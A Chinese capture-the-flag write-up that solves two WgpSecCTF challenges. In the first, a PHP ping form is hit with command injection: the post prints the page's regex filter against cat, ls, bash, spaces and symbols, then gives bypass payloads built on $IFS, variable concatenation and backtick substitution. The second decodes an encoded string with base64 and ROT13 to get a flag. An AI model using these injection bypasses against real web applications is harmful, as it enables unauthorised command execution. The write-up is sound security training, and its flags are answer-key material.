WgpSecCTF刷题

小心我PING死你

题目如下:
在这里插入图片描述

解题思路:PHP命令执行与绕过

/?ip=127.0.0.1;ls

通过GET方式提交常见Linux命令发现ls、cat、空格等均被过滤

/?ip=127.0.0.1;dir

通过dir发现目录下存在flag.php与index.php

可利用less、more、tac等替代cat,$IFS$9替代空格,但发现无法直接查看flag.php。
猜测有过滤,先查看index.php

/?ip=127.0.0.1;tac$IFS$9index.php

代码如下:

?>  } print_r($a); echo "

";
		$a = shell_exec("ping -c 4 ".$ip);
		}
			die("you cant get flag !");
		else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
		}
			die("no no no you cant use ls it  !!!");
		else if(preg_match("/ls/", $ip)){
		}
			die("no no no you cant use base64 it  !!!");
		else if(preg_match("/base64/", $ip)){
		}
			die("no no no you cant use cat it  !!!");
		else if(preg_match("/cat/", $ip)){
		}
			die("do not bash hacker !!!");
		else if(preg_match("/bash/", $ip)){
		}
			die("do not space hacker !!");
		else if(preg_match("/ /", $ip)){
		}
			die("do not symbol hacker !!");
			echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			print($ip);
			print_r($match);
		if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
		$ip = $_GET['ip'];
	if(isset($_GET['ip'])){

发现匹配规则包括:是否顺序出现flag字母、是否使用ls、cat、bash、base64、空格、{}、\等特殊命令与字符

那么绕过思路就很清晰了,列举两个方法:

命令拼接-pyload:

/?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php

内联命令替代-pyload:

?ip=127.0.0.1;tac$IFS$9`dir`

注意flag需要查看页面源代码

神奇的字符

题目如下:
在这里插入图片描述
原字符:
NzM3OTZlNzQ3YjM2Mzc3MzM5MzU3MDM5MzgzNzMwMzkzMTM0MzIzOTZmMzAzOTM3NzMzMjM1MzIzNTM1NzMzNjM5MzczMDM4MzA3ZA

解题思路:BASE编码与栅栏密码

直接使用在线base解密
在这里插入图片描述
得到字符:

synt{67s95p987091429o097s25255s697080}

直接使用在线凯撒密码工具,发现位移数为13
在这里插入图片描述
得到字符:

flag{67f95c987091429b097f25255f697080}
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值